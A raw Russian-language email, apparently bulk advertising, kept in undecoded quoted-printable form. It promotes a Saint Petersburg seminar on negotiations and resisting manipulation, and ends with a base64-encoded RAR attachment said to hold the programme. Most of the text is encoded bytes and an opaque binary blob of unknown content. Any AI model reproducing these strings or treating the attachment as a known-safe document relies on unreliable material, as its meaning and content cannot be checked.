=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =F2=F0=E5=ED=E8=ED=E3 =E2 =CF=E5= =F2=E5=F0=E1=F3=F0=E3=E5, =EF=EE=F1=E2=FF=F9=B8=ED=ED=FB=E9 =F4=EE=F0=EC=E8= =F0=EE=E2=E0=ED=E8=FE =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=F5=20 =ED=E0=E2=FB=EA=EE=E2 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E3=EE =E2=E5=E4=E5=ED= =E8=FF =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2 =E8 =F3=F1=EF=E5=F8=ED=EE=E3=EE = =E4=EE=F1=F2=E8=E6=E5=ED=E8=FF =F6=E5=EB=E5=E9:
=D2 =D0 =D3=20 =C4 =CD =DB =C5    =CF =C5 =D0 =C5 =C3 =CE =C2 =CE =D0 =DB= ,
=CF =D0 =CE =D2 =C8 =C2 =CE =D1 =D2 =CE =DF =CD =C8=20 =C5    =CC =C0 =CD =C8 =CF =D3 =CB =DF =D6 =C8 =DF =CC.16,=20 I7 =DF=CD=C2=C0=D0=DF=20 2=CEI=F7 =E3., =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=20
________________________________________
=CC=E5=F2=EE=E4=E8=EA=E0 = =F2=F0=E5=ED=E8=ED=E3=E0
=C8=ED=F2=E5=ED=F1=E8=E2=ED=EE=E5=20 =EE=E1=F3=F7=E5=ED=E8=E5, =EE=F1=ED=EE=E2=E0=ED=ED=EE=E5 =ED=E0 =EF=F0=E0= =EA=F2=E8=F7=E5=F1=EA=EE=E9 =EE=F2=F0=E0=E1=EE=F2=EA=E5 =ED=E0=E2=FB=EA=EE= =E2 =E8 =F3=EC=E5=ED=E8=E9 =E2=E5=E4=E5=ED=E8=FF=20 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2; =E8=ED=E4=E8=E2=E8=E4=F3=E0=EB=FC=ED=FB= =E9 =EF=EE=E4=F5=EE=E4; =F0=E0=E1=EE=F2=E0 =F1 =F0=E5=E0=EB=FC=ED=FB=EC=E8= =F1=E8=F2=F3=E0=F6=E8=FF=EC=E8; =E4=E5=EB=EE=E2=FB=E5,=20 =F0=EE=EB=E5=E2=FB=E5 =E8 =F1=E8=F2=F3=E0=F2=E8=E2=ED=FB=E5 =E8=E3=F0=FB;= =E3=F0=F3=EF=EF=EE=E2=FB=E5 =E8 =E8=ED=E4=E8=E2=E8=E4=F3=E0=EB=FC=ED=FB=E5= =F3=EF=F0=E0=E6=ED=E5=ED=E8=FF. =CA=F0=E0=F2=EA=E8=E5=20 =F2=E5=EE=F0=E5=F2=E8=F7=E5=F1=EA=E8=E5 =E8 =EC=E5=F2=EE=E4=E8=F7=E5=F1=EA= =E8=E5 =EC=E0=F2=E5=F0=E8=E0=EB=FB. =C8=F1=EF=EE=EB=FC=E7=EE=E2=E0=ED=E8=E5= =E0=F3=E4=E8=EE =E8 =E2=E8=E4=E5=EE=20 =E0=EF=EF=E0=F0=E0=F2=F3=F0=FB.
=CF=D0=CE=C3=D0=C0=CC=CC=C0:
᠋= 8; =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =EA =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0= =EC: =EF=EE=E8=F1=EA =E8 =EE=E1=F0=E0=E1=EE=F2=EA=E0=20 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8; =EF=F0=EE=F1=F2=F0=E0=ED=F1=F2=E2=E5=ED=ED= =E0=FF =EE=F0=E3=E0=ED=E8=E7=E0=F6=E8=FF; =EF=EE=F1=F2=E0=ED=EE=E2=EA=E0 = =F6=E5=EB=E5=E9 =E8 =F0=E0=E7=F0=E0=E1=EE=F2=EA=E0 =EF=F3=F2=E5=E9 =E8=F5= =20 =F0=E5=E0=EB=E8=E7=E0=F6=E8=E8.
 =D3=F1=F2=E0=ED=EE=E2=EB= =E5=ED=E8=E5 =EA=EE=ED=F2=E0=EA=F2=E0.
 =CF=F0=EE=E2=E5=E4= =E5=ED=E8=E5=20 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2.
 =D1=F2=E8=EB=E8 =E2=E5= =E4=E5=ED=E8=FF =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2. =D3=EC=E5=ED=E8=E5 =E2= =EB=E0=E4=E5=F2=FC =F1=EE=E1=EE=E9 =E8=20 =F1=E8=F2=F3=E0=F6=E8=E5=E9.  =CA=E0=EA =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1= =F2=E2=EE=E2=E0=F2=FC =F1 =F2=F0=F3=E4=ED=FB=EC=E8 =EF=E0=F0=F2=ED=E5=F0=E0= =EC=E8 =EF=EE =EE=E1=F9=E5=ED=E8=FE. =CA=E0=EA=20 =EE=E1=F0=E0=F2=E8=F2=FC=F1=FF =F1 =EF=F0=EE=F1=FC=E1=EE=E9? =CA=E0=EA =F1= =EA=E0=E7=E0=F2=FC "=ED=E5=F2" =E8 =ED=E5 =EE=E1=E8=E4=E5=F2=FC? =CA=E0=EA= =EF=EE=F5=E2=E0=EB=E8=F2=FC, =F7=F2=EE=E1=FB =FD=F2=EE=20 =ED=E5 =E1=FB=EB=EE =EB=E5=F1=F2=FC=FE? =CA=E0=EA =E2=FB=F0=E0=E6=E0=F2=FC= =ED=E5=F1=EE=E3=EB=E0=F1=E8=E5 =E8 =EE=F2=F1=F2=E0=E8=E2=E0=F2=FC =F1=E2= =EE=FE =F2=EE=F7=EA=F3 =E7=F0=E5=ED=E8=FF? =D7=F2=EE=20 =F2=E0=EA=EE=E5 =E0=E4=E5=EA=E2=E0=F2=ED=E0=FF =EE=E1=F0=E0=F2=ED=E0=FF =F1= =E2=FF=E7=FC?
 =CB=E8=F7=ED=EE=F1=F2=ED=FB=E5 =EE=F1=EE=E1= =E5=ED=ED=EE=F1=F2=E8=20 =EF=E5=F0=E5=E3=EE=E2=EE=F0=F9=E8=EA=E0.
 =D0=E5=E0=EB=E8= =E7=E0=F6=E8=FF =EF=EB=E0=ED=E0: =EF=EE=E2=E5=E4=E5=ED=E8=E5 =E2 =F1=EB=EE= =E6=ED=FB=F5 =F1=E8=F2=F3=E0=F6=E8=FF=F5.=20 =D2=E5=F5=ED=EE=EB=EE=E3=E8=E8 =E8 =EC=E5=F5=E0=ED=E8=E7=EC=FB =EC=E0=ED=E8= =EF=F3=EB=FF=F6=E8=E8. =CA=EE=F0=ED=E8 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8.= =CC=E5=F2=E0=F4=EE=F0=E0 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8.=20 =CA=F0=E8=F2=E5=F0=E8=E8 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =CC=E5=F1=F2=EE= =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8 =E2 =F1=E8=F1=F2=E5=EC=E5 =F7=E5=EB=EE= =E2=E5=F7=E5=F1=EA=E8=F5 =E2=E7=E0=E8=EC=EE=EE=F2=ED=EE=F8=E5=ED=E8=E9.=20 =CC=E0=ED=E8=EF=F3=EB=FF=F2=E8=E2=ED=FB=E5 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8= . =CC=E5=F5=E0=ED=E8=E7=EC=FB =EC=E0=ED=E8=EF=F3=EB=FF=F2=E8=E2=ED=EE=E3=EE= =E2=EE=E7=E4=E5=E9=F1=F2=E2=E8=FF. =D0=E0=F1=EF=EE=E7=ED=E0=E2=E0=ED=E8=E5= =20 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8 =E2 =E6=E8=E2=EE=EC =EE=E1=F9=E5=ED=E8=E8= . =CC=E0=ED=E8=EF=F3=EB=FF=F6=E8=FF =E8 =E2=EE=EF=F0=EE=F1=FB =FD=F2=E8=EA= =E8.
 =C7=E0=F9=E8=F2=E0 =EE=F2=20 =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =C2=E8=E4=FB =E8 =EC=E5=F5=E0=ED=E8=E7= =EC=FB =E7=E0=F9=E8=F2. =CC=E5=E6=EB=E8=F7=ED=EE=F1=F2=ED=FB=E5 =E8 =E2=ED= =F3=F2=F0=E8=EB=E8=F7=ED=EE=F1=F2=ED=FB=E5 =E7=E0=F9=E8=F2=FB.=20 =D1=EF=E5=F6=E8=F4=E8=F7=E5=F1=EA=E8=E5 =E8 =ED=E5=F1=EF=E5=F6=E8=F4=E8=F7= =E5=F1=EA=E8=E5 =E7=E0=F9=E8=F2=FB. =C1=E0=E7=EE=E2=FB=E5 =E7=E0=F9=E8=F2= =ED=FB=E5 =F3=F1=F2=E0=ED=EE=E2=EA=E8. =D7=F3=E2=F1=F2=E2=E5=ED=ED=FB=E9=20 =E8 =F0=E0=F6=E8=EE=ED=E0=EB=FC=ED=FB=E9 =F3=F0=EE=E2=E5=ED=FC. =CA=EE=ED= =F4=EE=F0=EC=E8=E7=EC, =ED=EE=ED=EA=EE=ED=F4=EE=F0=EC=E8=E7=EC =E8 =E2=ED= =E5=EA=EE=ED=F4=EE=F0=EC=E8=E7=EC. =D3=EA=F0=E5=EF=EB=E5=ED=E8=E5=20 =E7=E0=F9=E8=F2=ED=EE=E3=EE =E0=F0=F1=E5=ED=E0=EB=E0. =D1=EE=E1=F0=E0=ED=ED= =EE=F1=F2=FC =E8 =EF=F1=E8=F5=EE=F2=E5=F5=ED=E8=EA=E8 =F1=EE=E2=EB=E0=E4=E0= =ED=E8=FF.
 =CC=E0=ED=E8=EF=F3=EB=FF=F6=E8=FF=20 =E8 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=EE=E5 =E4=E0=E2=EB=E5=ED=E8=E5= =ED=E0 =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0=F5. =C8=ED=F4=EE=F0=EC=E0=F6=E8=EE= =ED=ED=FB=E9 =E8 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E9=20 =F3=F0=EE=E2=E5=ED=FC =EC=E0=ED=E8=EF=F3=EB=FF=F6=E8=E8. =CC=E0=ED=E8=EF=F3= =EB=FF=F6=E8=FF =F4=E0=EA=F2=E0=EC=E8. =CC=E0=ED=E8=EF=F3=EB=FF=F6=E8=FF = =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF=EC=E8. =D4=EE=F0=EC=FB=20 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=EE=E3=EE =E4=E0=E2=EB=E5=ED=E8=FF= . =D1=EF=EE=F1=EE=E1=FB =EF=F0=EE=F2=E8=E2=EE=F1=F2=EE=FF=ED=E8=FF =EC=E0= =ED=E8=EF=F3=EB=FF=F6=E8=E8 =E8 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=EE= =EC=F3=20 =E4=E0=E2=EB=E5=ED=E8=FE =ED=E0 =EF=E5=F0=E5=E3=EE=E2=EE=F0=E0=F5.
= 1558; =C7=E0=E2=E5=F0=F8=E5=ED=E8=E5 =EE=E1=F1=F3=E6=E4=E5=ED=E8=FF = =E8 =F4=E8=EA=F1=E0=F6=E8=FF=20 =E4=EE=E3=EE=E2=EE=F0=E5=ED=ED=EE=F1=F2=E5=E9. =C2=FB=F5=EE=E4 =E8=E7 =EA= =EE=ED=F2=E0=EA=F2=E0.
 =D2=E5=F5=ED=E8=EA=E8 =F1=ED=FF=F2= =E8=FF =FD=EC=EE=F6=E8=EE=ED=E0=EB=FC=ED=EE=E3=EE=20 =ED=E0=EF=F0=FF=E6=E5=ED=E8=FF.
 =CF=F0=EE=E2=E5=E4=E5=ED= =E8=E5 =EA=EE=EC=EF=EB=E5=EA=F1=ED=EE=E9 =F0=EE=EB=E5=E2=EE=E9 =E8=E3=F0=FB= =AB=C4=E5=EB=EE=E2=FB=E5 =EF=E5=F0=E5=E3=EE=E2=EE=F0=FB=BB=20 (=E2 =E1=EB=E0=E3=EE=EF=F0=E8=FF=F2=ED=FB=F5 =F3=F1=EB=EE=E2=E8=FF=F5). =CF=F0=EE=E2=E5=E4=E5=ED=E8=E5 =EA=EE=EC=EF=EB=E5=EA=F1=ED= =EE=E9 =F0=EE=EB=E5=E2=EE=E9 =E8=E3=F0=FB=20 =AB=C4=E5=EB=EE=E2=FB=E5 =EF=E5=F0=E5=E3=EE=E2=EE=F0=FB=BB (=E2 =ED=E5=E1= =EB=E0=E3=EE=EF=F0=E8=FF=F2=ED=FB=F5 =F3=F1=EB=EE=E2=E8=FF=F5).
᠋= 8; =C0=ED=E0=EB=E8=E7 =E8 =F0=E0=E7=E1=EE=F0=20 =E8=E3=F0=FB. =C2=FB=F5=EE=E4 =E8=E7 =F2=F0=E5=ED=E8=ED=E3=E0 =E8 =EE=E1=F9= =E5=E5 =E7=E0=E2=E5=F0=F8=E5=ED=E8=E5 =F0=E0=E1=EE=F2=FB =F1 =EF=EE=E4=E2= =E5=E4=E5=ED=E8=E5=EC=20 =E8=F2=EE=E3=EE=E2.
________________________________________
=CF=EE= =EE=EA=EE=ED=F7=E0=ED=E8=E8 =F2=F0=E5=ED=E8=ED=E3=E0=20 =F3=F7=E0=F1=F2=ED=E8=EA=E8 =F1=EC=EE=E3=F3=F2: =EF=F0=EE=E2=EE=E4=E8=F2=FC= =F2=F9=E0=F2=E5=EB=FC=ED=F3=FE =EF=EE=E4=E3=EE=F2=EE=E2=EA=F3 =EF=E5=F0=E5= =E3=EE=E2=EE=F0=EE=E2;  =20 =D0=E0=F1=EF=EE=E7=ED=E0=E2=E0=F2=FC =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =F3= =F7=E0=F1=F2=ED=E8=EA=EE=E2 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2; =E0=EA=F2=E8= =E2=ED=EE =E8=F1=EF=EE=EB=FC=E7=EE=E2=E0=F2=FC =F1=F0=E5=E4=F1=F2=E2=E0=20 =E2=E5=F0=E1=E0=EB=FC=ED=EE=E9 =E8 =ED=E5=E2=E5=F0=E1=E0=EB=FC=ED=EE=E9 =EA= =EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=E8 =E4=EB=FF =F1=EE=E7=E4=E0=ED=E8=FF =E3=E0= =F0=EC=EE=ED=E8=F7=ED=EE=E9 =E0=F2=EC=EE=F1=F4=E5=F0=FB=20 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2; =EF=F0=EE=E3=ED=EE=E7=E8=F0=EE=E2=E0=F2= =FC =E8 =F0=E0=E1=EE=F2=E0=F2=FC =F1 =E2=EE=E7=EC=EE=E6=ED=FB=EC=E8 =E2=EE= =EF=F0=EE=F1=E0=EC=E8 =E8 =E2=EE=E7=F0=E0=E6=E5=ED=E8=FF=EC=E8;=20 =F3=EF=F0=E0=E2=EB=FF=F2=FC =FD=EC=EE=F6=E8=FF=EC=E8 =E8 =E1=FB=F1=F2=F0=EE= =F1=E0=EC=EE=E2=EE=F1=F1=F2=E0=ED=E0=E2=EB=E8=E2=E0=F2=FC=F1=FF; =EF=F0=E8= =EC=E5=ED=FF=F2=FC =EC=E5=F2=EE=E4=FB =EA=EE=F0=F0=E5=EA=F2=ED=EE=E3=EE=20 =EF=F1=E8=F5=EE=EB=EE=E3=E8=F7=E5=F1=EA=EE=E3=EE =E2=EB=E8=FF=ED=E8=FF =ED= =E0 =F5=EE=E4 =EF=E5=F0=E5=E3=EE=E2=EE=F0=EE=E2.
=CA=E0=E6=E4=EE=EC=F3= =F3=F7=E0=F1=F2=ED=E8=EA=F3 =E2=FB=E4=E0=E5=F2=F1=FF=20 =D1=E2=E8=E4=E5=F2=E5=EB=FC=F1=F2=E2=EE =EE =EF=F0=EE=F5=EE=E6=E4=E5=ED=E8= =E8 =EE=E1=F3=F7=E5=ED=E8=FF. =C2 =F1=F2=EE=E8=EC=EE=F1=F2=FC =F1=E5=EC=E8= =ED=E0=F0=E0 =E2=F5=EE=E4=FF=F2 =EE=E1=E5=E4=FB =E8=20 =EA=EE=F4=E5-=E1=F0=E5=E9=EA=E8.
 
=C2=FB =EC=EE=E6=E5=F2=E5 =C7=C0=D0=C5=C3=C8=D1=D2=D0=C8=D0=CE=C2=C0= =D2=DC=D1=DF, =F3=E7=ED=E0=F2=FC =F3=F1=EB=EE=E2=E8=FF =F3=F7=E0=F1=F2=E8= =FF, =E0 =F2=E0=EA=E6=E5 =C1=C5=D1=CF=CB=C0=D2=CD=CE=20 =EF=EE=EB=F3=F7=E8=F2=FC =CF=CE=CB=CD=D3=DE =EF=F0=EE=E3=F0=E0=EC=EC=F3 =F1= =E5=EC=E8=ED=E0=F0=E0, =F1=EF=E8=F1=EE=EA =EF=F0=E5=EF=EE=E4=E0=E2=E0=F2=E5= =EB=E5=E9  =E8=20 =F0=E0=F1=EF=E8=F1=E0=ED=E8=E5  =F3 =ED=E0=F8=E8=F5 =EC=E5=ED=E5=E4=E6= =E5=F0=EE=E2 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3 =E2=20 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5:
- 812 - 98= --=F7 -- 5=E7 . 6=E7
------=_NextPart_001_0AB4_01CEF703.A239C2A0-- ------=_NextPart_000_0AB3_01CEF703.A239C2A0 Content-Type: application/octet-stream; name="=?windows-1251?B?7/Du4/Dg7OzgIPLw5e3o7ePgLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?7/Du4/Dg7OzgIPLw5e3o7ePgLnJhcg==?=" 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 